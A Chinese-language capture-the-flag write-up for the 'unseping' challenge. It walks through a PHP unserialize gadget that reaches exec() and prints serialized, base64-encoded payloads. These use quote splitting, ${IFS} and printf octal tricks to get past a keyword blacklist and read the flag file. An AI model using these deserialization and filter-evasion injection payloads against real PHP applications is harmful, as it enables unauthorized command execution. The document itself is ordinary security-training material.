CTF之unseping

发布于:2024-07-06 ⋅ 阅读:(18) ⋅ 点赞:(0)

 拿到题目看不懂?这是难度1?含泪去看大佬的wp,写下我的自传!                                                                                                                                          

<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

 1.首先看题目可以知道是用POST传入参数从而达到系统查找,外边这个参数还进行了base64解码和反序列化编码,这又给我们上了一波难度。不过这算是简单的,我们先看函数。

2.__wakeup()是对waf($str)函数进行调用和执行的,而waf($str)函数是对\||&|;| |\/|cat|flag|tac|php|ls进行黑名单过滤的,那就要绕过喽。

3.ping($ip)函数是将输入参数作为外部命令进行执行,并返回输出结果。该函数实现了作为一个webshell的基本条件。

4. __destruct()函数是检测ping是否在$method中,并调用了名为$method的方法,且以数组$arg中的值作为参数

5.综合来看就是在通过$method和__construct来调用构造的ping方法,接着通过$args来作为输入口进行命令的输入

接下来开整:

跟据已有的代码我们进行逆向调用,构造如下:

使用""进行ls过滤的绕过。

$a = new ease("ping",array('l""s'));//调用类传入$method=ping;$args=array('l""s')
$b = serialize($a);//序列化
echo $b;
echo'</br>';
echo base64_encode($b);//base64编码

 完整代码如下:

 <?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$a = new ease("ping",array('l""s'));//调用类传入$method=ping;$args=array('l""s')
$b = serialize($a);//序列化
echo $b;
echo'</br>';
echo base64_encode($b);//base64编码


?>

 然后进行php编译,编译结果如下:

序列化:O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:4:"l""s";}}

base64编码:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==

 再用hackbar插件进行post传参:

得到flag_1s_here目录和index.php文件

这次我们需要构造查看flag_1s_here目录,空格我们就用${IFS}来绕过,注意这里的目录名称中的flag也要绕过一下:

$a=new ease("ping",array('l""s""${IFS}f""lag_1s_here'));
$b = serialize($o);
echo base64_encode($b);

 得到编码后的:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNjoibCIicyIiJHtJRlN9ZiIibGFnXzFzX2hlcmUiO319

传参后发现该目录下有一个flag_831b69012c67b35f.php文件

那我们就接着构造:这里涉及到了符号 / ,我们用printf和$()来绕过,注意这里php也要绕过

$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
$b = serialize($a);
echo base64_encode($b);

 得到编码后的:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319

传参后就得到了flag:cyberpeace{c8b062d2749e0bba95e3a8e9a216a6ed}

 


网站公告

今日签到

点亮在社区的每一天
去签到